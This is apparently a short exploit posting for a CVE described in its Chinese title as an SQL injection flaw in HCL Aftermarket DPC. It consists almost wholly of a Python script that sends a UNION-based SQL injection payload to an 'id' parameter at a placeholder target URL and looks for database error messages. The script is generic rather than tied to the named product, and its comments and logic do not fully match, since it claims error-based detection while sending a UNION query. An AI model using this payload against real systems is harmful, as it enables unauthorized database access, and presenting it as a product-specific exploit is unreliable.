CVE-2025-55262 HCL Aftermarket DPC SQL注入漏洞

import requests def check_sqli(target_url): # Construct a payload for error-based SQL injection # The payload attempts to break the SQL syntax and generate a database error payload = "1' AND 1=1 UNION SELECT NULL,@@version,NULL-- -" # Example parameter name, usually requires fuzzing to identify params = { "id": payload } try: response = requests.get(target_url, params=params, timeout=10) # Check for common SQL error messages in response if "syntax error" in response.text or "mysql_fetch" in response.text or "ORA-" in response.text: print("[+] Potential SQL Injection found at: {}".format(target_url)) print("[+] Payload: {}".format(payload)) else: print("[-] No obvious SQL error detected.") except Exception as e: print("[-] Error connecting to target: {}".format(e)) if __name__ == "__main__": # Replace with actual vulnerable endpoint url = "http://target-ip:port/vulnerable_page" check_sqli(url)